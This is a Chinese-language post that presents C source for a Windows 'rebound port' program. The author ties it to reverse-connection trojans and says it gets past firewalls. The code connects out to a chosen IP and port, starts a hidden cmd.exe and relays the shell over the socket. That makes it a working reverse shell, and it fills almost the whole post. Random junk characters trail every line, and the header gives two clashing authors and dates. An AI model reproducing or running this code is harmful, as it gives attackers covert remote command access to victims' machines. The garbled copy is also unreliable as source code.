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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kxt@t#  
''S*B|:  
/* ============================== qy=4zOOD#  
Rebound port in Windows NT hD!W&Er  
By wind,2006/7 U^SJWYi<Y  
===============================*/ mMm_=cfv  
#include .|XIF   
#include I=X-e#HM?  
Wf/Gt\?  
#pragma comment(lib,"wsock32.lib") n5 dFp%k  
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void OutputShell(); 1lZl10M:f  
SOCKET sClient; N%!8I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mh;<lW\K/Z  
b[,J-/;JNL  
void main(int argc,char **argv) y&Sl#IQ L  
{ mDz{8N9<FG  
WSADATA stWsaData; mw%do&e  
int nRet; e`ti*1]q  
SOCKADDR_IN stSaiClient,stSaiServer; 4]O{Nko)  
f3Ior.n(  
if(argc != 3) P.mz$M  
{ -o*IJQ_  
printf("Useage:\n\rRebound DestIP DestPort\n"); T8E=}!68w}  
return; uTGd{w@]0|  
} ]kA0C~4   
%[0V>  
WSAStartup(MAKEWORD(2,2),&stWsaData); |SC^H56+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lbk?( TL  
3a #2 }  
stSaiClient.sin_family = AF_INET; rlr)n\R#  
stSaiClient.sin_port = htons(0); :&ir5xHS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <4S Y'-w  
IMLk{y%6  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O\;Z4qn2=  
{ )$K )`uqb  
printf("Bind Socket Failed!\n"); =?>f[J5  
return; q15t7-Z6  
} PPO*&=!]  
ogQY"c8  
stSaiServer.sin_family = AF_INET; ei)ljvvmHP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D+?/MrP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j*@^O`^v  
-L@4da[]i  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Xdj` $/RI  
{ >2tQ')%DJ  
printf("Connect Error!"); '"&M4.J{  
return; 3wK{?  
} }}y$T(:l  
OutputShell(); X@KF}x's  
}  " Mzb  
h<2o5c|  
void OutputShell() x`K<z J   
{ "&*O7cs$pA  
char szBuff[1024]; SskvxH+7  
SECURITY_ATTRIBUTES stSecurityAttributes; f*KNt_|:  
OSVERSIONINFO stOsversionInfo; -(9>{!",J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %D_2;  
STARTUPINFO stStartupInfo; mUY+v>F  
char *szShell; `s93P^%  
PROCESS_INFORMATION stProcessInformation; ]V*s-och'  
unsigned long lBytesRead; $qG;^1$  
cM%I5F+n  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _$%.F| :  
_7r<RZ  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RGFanP  
stSecurityAttributes.lpSecurityDescriptor = 0; "L^]a$&  
stSecurityAttributes.bInheritHandle = TRUE; 9TRS#iVL+*  
Q qGf*  
.%;`: dtj  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); - ;1'{v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?145^ w  
;sd[Q01  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z.6M~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !$N^Ak5#  
stStartupInfo.wShowWindow = SW_HIDE; Bfe#,  
stStartupInfo.hStdInput = hReadPipe; F N6 GV  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,:POo^!/fT  
uFQ;}k;}  
GetVersionEx(&stOsversionInfo); vYQ0e:P  
$SAq/VHI1]  
switch(stOsversionInfo.dwPlatformId) @9_H4V  
{ .4E5{F{~  
case 1: Q\.~cIw_AQ  
szShell = "command.com"; x`n$4a'7b  
break; _N!L?b83P  
default: 2"+8NfFl  
szShell = "cmd.exe"; yh0zW $  
break;  *R1 m=  
} IcmTF #{D  
AyHhq8Y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -X+G_rY  
hG~4i:p <  
send(sClient,szMsg,77,0); lz2B,#  
while(1) PyQt8Qlz  
{ (;DnL|"'8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZL/iX~}a'  
if(lBytesRead) ]@E_Hx{S  
{ j}9][Fm1*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >g7}JI&  
send(sClient,szBuff,lBytesRead,0); vbEAd)*S  
} ipzv]c&  
else }-YM>q  
{ oz3N 8^M  
lBytesRead=recv(sClient,szBuff,1024,0); 5cj]Y)I-~  
if(lBytesRead<=0) break; x\( @ v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WUOoK$I~K  
} e4:,W+g,9  
} s Dq{h  
qe. Qjq  
return; t &scvXh  
}
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